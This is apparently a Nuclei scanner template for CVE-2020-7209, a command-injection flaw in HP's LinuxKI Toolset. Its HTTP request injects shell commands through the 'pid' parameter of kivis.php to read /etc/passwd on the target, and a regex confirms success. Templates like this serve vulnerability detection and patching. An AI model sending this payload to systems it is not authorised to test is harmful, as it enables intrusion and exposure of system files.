id: CVE-2020-7209

info:
  name: LinuxKI Toolset <= 6.01 - Remote Command Execution
  author: dwisiswant0
  severity: critical
  description: LinuxKI v6.0-1 and earlier are vulnerable to remote code execution.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: This is resolved in release 6.0-2.
  reference:
    - http://packetstormsecurity.com/files/157739/HP-LinuxKI-6.01-Remote-Command-Injection.html
    - http://packetstormsecurity.com/files/158025/LinuxKI-Toolset-6.01-Remote-Command-Execution.html
    - https://github.com/HewlettPackard/LinuxKI/releases/tag/v6.0-2
    - https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78
    - https://www.hpe.com/us/en/home.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-7209
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-7209
    epss-score: 0.93187
    epss-percentile: 0.99804
    cpe: cpe:2.3:a:hp:linuxki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: hp
    product: linuxki
  tags: cve,cve2020,rce,packetstorm,hp,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END;"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 4a0a0047304502206e337634ce1149ddba081aef3cd8bd51f1252349ca4d4d80d1dc69e77aba2b06022100b0ce08182005fd7b9d70d9171f53b470fc99d70be1e31c446672d90fcce2b243:922c64590222798bb761d5b6d8e72950